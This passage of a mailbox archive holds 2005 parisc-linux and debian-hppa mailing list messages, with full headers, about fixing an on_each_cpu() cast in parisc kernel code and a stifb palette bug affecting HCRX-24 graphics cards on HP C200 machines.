NET: Registered protocol family 1
NET: Registered protocol family 17
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.70
IP-Config: Complete:
      device=eth0, addr=192.168.178.70, mask=255.255.255.0, gw=192.168.178.1,
     host=c3000, domain=box, nis-domain=(none),
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
eth0: Setting full-duplex based on MII#1 link partner capability of 05e1.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 356k freed
Adding 263144k swap on /dev/sda1.  Priority:-1 extents:1 across:263144k
Adding 1953784k swap on /dev/sdb3.  Priority:-2 extents:1 across:1953784k
EXT3 FS on sda3, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sdb4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.

--Boundary-00=_VRKoDL7YKgeVdzi
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_VRKoDL7YKgeVdzi--



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.15-rc5-mm2 can't boot on ia64 due to
	changing on_each_cpu().
Date: Thu, 15 Dec 2005 08:41:00 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20051215154100.GB9286__16688.7075444267$1416624576$gmane$org@parisc-linux.org>
References: <20051215030040.GA28660@kvack.org>
	<43A0FE0D.6030100@jp.fujitsu.com>
	<20051215152450.2445.Y-GOTO@jp.fujitsu.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624576 27456 80.91.229.3 (22 Nov 2014 02:49:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:36 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 tony.luck@intel.com,
 linux-ia64@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 linux-mm@kvack.org,
 Benjamin LaHaise <bcrl@kvack.org>,
 Kenji Kaneshige <kaneshige.kenji@jp.fujitsu.com>,
 parisc-linux@parisc-linux.org
To: Yasunori Goto <y-goto@jp.fujitsu.com>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2005 15:41:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 15 Dec 2005 16:41:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 322E07D7A6;
	Thu, 15 Dec 2005 08:41:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01485-03; Thu, 15 Dec 2005 08:41:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BA577D7A7;
	Thu, 15 Dec 2005 08:41:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A648B7D7A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 08:41:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00945-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 08:41:01 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 256187D793
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 08:41:01 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id C3EF0494011; Thu, 15 Dec 2005 08:41:00 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id AC7F249400A; Thu, 15 Dec 2005 08:41:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051215152450.2445.Y-GOTO@jp.fujitsu.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wevTY14ZeSEkTL6WZHQhaXN1IGRvb4DR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25236

On Thu, Dec 15, 2005 at 03:34:27PM +0900, Yasunori Goto wrote:
> Thanks! It works!
> 
> BTW, I found same casted function at on_each_cpu() in parisc code.
>  (arch/parisc/kernel/cache.c
>   arch/parisc/kernel/smp.c
>   arch/parisc/mm/init.c)
> 
> Are they also should fixed? 
> I don't have parisc box. So, I don't know there is same trouble on
> parisc box or not, and I can't test it.

Yes, these  will also need to be changed.  Thanks.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Mon, 19 Dec 2005 16:39:43 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <200512191639.44027.deller__44830.519174184$1416624576$gmane$org@gmx.de>
References: <43971676.1010009@gmail.com> <1354.193.160.141.5.1134039392.squirrel@www.puszczka.com> <20051208173922.GA2515@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624576 27458 80.91.229.3 (22 Nov 2014 02:49:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:36 +0000 (UTC)
Cc: Stuart Brady <sdbrady@ntlworld.com>,
 Andy Walker <andy@puszczka.com>,
 parisc-linux@parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 15:39:51 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx046) with SMTP; 19 Dec 2005 16:39:51 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 51A932DEAD; Mon, 19 Dec 2005 09:39:43 -0600 (CST)
Old-Return-Path: <deller@gmx.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.21])
	by murphy.debian.org (Postfix) with SMTP id 793E62DDEF
	for <debian-hppa@lists.debian.org>; Mon, 19 Dec 2005 09:39:40 -0600 (CST)
Original-Received: (qmail invoked by alias); 19 Dec 2005 15:39:42 -0000
Original-Received: from p54AD19A8.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.25.168]
  by mail.gmx.net (mp019) with SMTP; 19 Dec 2005 16:39:42 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20051208173922.GA2515@ntlworld.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-4.9 required=4.0 tests=AWL,LDOSUBSCRIBER,
	MURPHY_DRUGS_REL8 autolearn=no version=3.0.3
Resent-Message-ID: <Kc7ORD.A.pvE._QtpDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5006
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 19 Dec 2005 09:39:43 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: H7HUY6wFeSEkXL6WZHQhaXN1IGRvb0CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25237

Hi all,

On Thursday 08 December 2005 18:39, Stuart Brady wrote:
> On Thu, Dec 08, 2005 at 11:56:32AM +0100, Andy Walker wrote:
> > Note that the A4071B/HCRX24 gets detected just fine. Its set in PDC as
> > the console path, and also via the sti=8/8 parameter.
> > 
> > Nothing crashes, but the console is unusable. Most of the output is
> > black on black, though I get bits of text in magenta, yellow and green
> > depending on the intended colour. Tux has a bright green background and
> > is otherwise pretty psychedelic. Back to Vis-EG for the time being.
> 
> Have you tried running X, and then switching back to the console?  That
> at least gets it working for me...  I wonder which devices are affected
> by this?  What about the A4071A?

Hi all,

I just committed a patch to stifb in kernel 2.6.15-rc6-pa1.
Could you please try this one? It works for me... :-)

Stuart's hint with starting X and then switching back again pointed to a bug in the palette handling of stifb, which I hopefully fixed now.

X11 still only shows me 3/4 of the screen, but this seems to be another problem....

Regards,
Helge


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Followup-To: gmane.linux.debian.ports.hppa
Date: Mon, 19 Dec 2005 17:07:17 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20051219170717.GA1464__32683.0016951591$1416624577$gmane$org@ntlworld.com>
References: <43971676.1010009@gmail.com> <1354.193.160.141.5.1134039392.squirrel@www.puszczka.com> <20051208173922.GA2515@ntlworld.com> <200512191639.44027.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624577 27461 80.91.229.3 (22 Nov 2014 02:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:37 +0000 (UTC)
Cc: Helge Deller <deller@dmx.de>,
 Andy Walker <andy@puszczka.com>
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 17:07:26 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx071) with SMTP; 19 Dec 2005 18:07:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 9F74A2E00E; Mon, 19 Dec 2005 11:07:20 -0600 (CST)
Old-Return-Path: <sdbrady@ntlworld.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mta09-winn.ispmail.ntl.com (mta09-winn.ispmail.ntl.com [81.103.221.49])
	by murphy.debian.org (Postfix) with ESMTP id D71462DEAD
	for <debian-hppa@lists.debian.org>; Mon, 19 Dec 2005 11:07:18 -0600 (CST)
Original-Received: from aamta12-winn.ispmail.ntl.com ([81.103.221.35])
          by mta09-winn.ispmail.ntl.com with ESMTP
          id <20051219170721.ZEP8609.mta09-winn.ispmail.ntl.com@aamta12-winn.ispmail.ntl.com>;
          Mon, 19 Dec 2005 17:07:21 +0000
Original-Received: from janus ([82.9.44.76]) by aamta12-winn.ispmail.ntl.com
          with ESMTP
          id <20051219170721.LAJJ774.aamta12-winn.ispmail.ntl.com@janus>;
          Mon, 19 Dec 2005 17:07:21 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1EoOTm-0000O0-00; Mon, 19 Dec 2005 17:07:18 +0000
Mail-Followup-To: debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org, Helge Deller <deller@dmx.de>,
	Andy Walker <andy@puszczka.com>
Content-Disposition: inline
In-Reply-To: <200512191639.44027.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-3.1 required=4.0 tests=AWL,DNS_FROM_RFC_POST,
	FORGED_RCVD_HELO,LDOSUBSCRIBER,MURPHY_DRUGS_REL8,MURPHY_WRONG_WORD1,
	MURPHY_WRONG_WORD2 autolearn=no version=3.0.3
Resent-Message-ID: <WHo-9D.A.M-H.IjupDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5007
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 19 Dec 2005 11:07:20 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: mY3UY4UYeSEkNb6WZHQhaXN1IGRvb4Br
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25238

On Mon, Dec 19, 2005 at 04:39:43PM +0100, Helge Deller wrote:
> Hi all,
> 
> I just committed a patch to stifb in kernel 2.6.15-rc6-pa1.
> Could you please try this one? It works for me... :-)
> 
> Stuart's hint with starting X and then switching back again pointed to
> a bug in the palette handling of stifb, which I hopefully fixed now.

Ooh!  I'll test this...  Unfortunately, I'm compiling on a 715/100 so
bear with me for a moment. :)

> X11 still only shows me 3/4 of the screen, but this seems to be
> another problem....

Max Grabert found the fix for that... put "DefaultFbBpp 32" in the
"Screen" section of your xorg.conf file.  I'm not sure if that's a bug
in stifb or not.  If not, perhaps you could argue that there's a bug in
xorg or the framebuffer code.

Cheers,
-- 
Stuart Brady


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <fbizzi@bizzi.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Mon, 19 Dec 2005 19:08:09 +0100
Organization: bizzi.org
Lines: 17
Approved: news@gmane.org
Message-ID: <43A6F709.3080008__7241.77607703513$1416624577$gmane$org@bizzi.org>
References: <43971676.1010009@gmail.com>	<1354.193.160.141.5.1134039392.squirrel@www.puszczka.com>	<20051208173922.GA2515@ntlworld.com> <200512191639.44027.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624577 27463 80.91.229.3 (22 Nov 2014 02:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:37 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <fbizzi@bizzi.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 18:08:14 -0000
Original-Received: from unknown (EHLO ns.bizzi.org) [213.213.72.170]
  by mx0.gmx.net (mx011) with SMTP; 19 Dec 2005 19:08:14 +0100
Original-Received: (qmail 8103 invoked by uid 89); 19 Dec 2005 18:03:39 -0000
Original-Received: by simscan 1.1.0 ppid: 8096, pid: 8099, t: 1.5381s
         scanners: clamav: 0.86.2/m:33/d:1061 spam: 3.0.4
X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on ns.bizzi.org
X-Spam-Status: No, score=0.0 required=4.0 tests=none autolearn=ham 
	version=3.1.0
Original-Received: from unknown (HELO ?213.213.72.248?) (fabio@bizzi.org@213.213.72.248)
  by ns.bizzi.org with SMTP; 19 Dec 2005 18:03:38 -0000
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <200512191639.44027.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WZLUY3M9eSEkeb6WZHQhaXN1IGRvb8Ar
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25239

Helge Deller wrote:
> I just committed a patch to stifb in kernel 2.6.15-rc6-pa1.
> Could you please try this one? It works for me... :-)

I'm sorry, but I didn't undestrand if you have fixed my problem with 
HCRX-24? :)

If yes the kernel with your patch is aivailable on cvs.parisc-linux.org 
or I've to patch the source and compile it?

Thank you.

Ciao.

	Fabio.



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Mon, 19 Dec 2005 21:04:48 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <200512192104.48593.deller__47296.9187227592$1416624577$gmane$org@gmx.de>
References: <43971676.1010009@gmail.com> <200512191639.44027.deller@gmx.de>
	<43A6F709.3080008@bizzi.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624577 27467 80.91.229.3 (22 Nov 2014 02:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Fabio Bizzi <fbizzi@bizzi.org>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:04:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 19 Dec 2005 21:04:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 491997D665;
	Mon, 19 Dec 2005 13:04:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31161-02; Mon, 19 Dec 2005 13:04:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA5687D66D;
	Mon, 19 Dec 2005 13:04:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ABC37D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 13:04:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30814-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 13:04:49 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AE06C7D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 13:04:49 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id D36594941E5; Mon, 19 Dec 2005 13:04:48 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by palinux.hppa (Postfix) with SMTP id 3C0844941E0
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Dec 2005 13:04:48 -0700 (MST)
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:04:46 -0000
Original-Received: from p54AD19A8.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.25.168]
	by mail.gmx.net (mp028) with SMTP; 19 Dec 2005 21:04:46 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <43A6F709.3080008@bizzi.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PXfVY7QyeSEkPL6WZHQhaXN1IGRvb8Bq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25240

Hello Fabio,

On Monday 19 December 2005 19:08, Fabio Bizzi wrote:
> Helge Deller wrote:
> > I just committed a patch to stifb in kernel 2.6.15-rc6-pa1.
> > Could you please try this one? It works for me... :-)
> 
> I'm sorry, but I didn't undestrand if you have fixed my problem with 
> HCRX-24? :)

Probably not.
Your main problem is that you see this message:

STI GSC/PCI core graphics driver Version 0.9a
     id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI init_graph failed (ret -1, errno 258)
sti: probe of 10:8 failed with error 1

"init_graph" is a graphic card firmware function, which seems to not work on your system.
Some HP firmwares have support to "patch" the graphic card firmware before executing "init_graph".
This is probably not the case for your c200.

So, please check if your machine runs the latest HP-C200 firmware.
For this please read the PARISC-Linux FAQ at http://www.parisc-linux.org/faq/index.html#PDCupdate ("How can I check if the PDC (firmware) revision is the latest?").

Additionally I will try write some patch-code during the next weeks, which might get your card working even on the C200 and other machines. Stay tuned.
 
> If yes the kernel with your patch is aivailable on cvs.parisc-linux.org 
> or I've to patch the source and compile it?

2.6.15-rc6-pa1 is currently beeing built.
During the next hour I assume it should be finished and you may download it from here: http://cvs.parisc-linux.org/download/linux-2.6/
(I assume a B180 might be close to your c200 ?).

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Mon, 19 Dec 2005 13:27:05 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20051219202705.GR2361__21196.5206930929$1416624578$gmane$org@parisc-linux.org>
References: <43971676.1010009@gmail.com> <200512191639.44027.deller@gmx.de> <43A6F709.3080008@bizzi.org> <200512192104.48593.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624578 27472 80.91.229.3 (22 Nov 2014 02:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:38 +0000 (UTC)
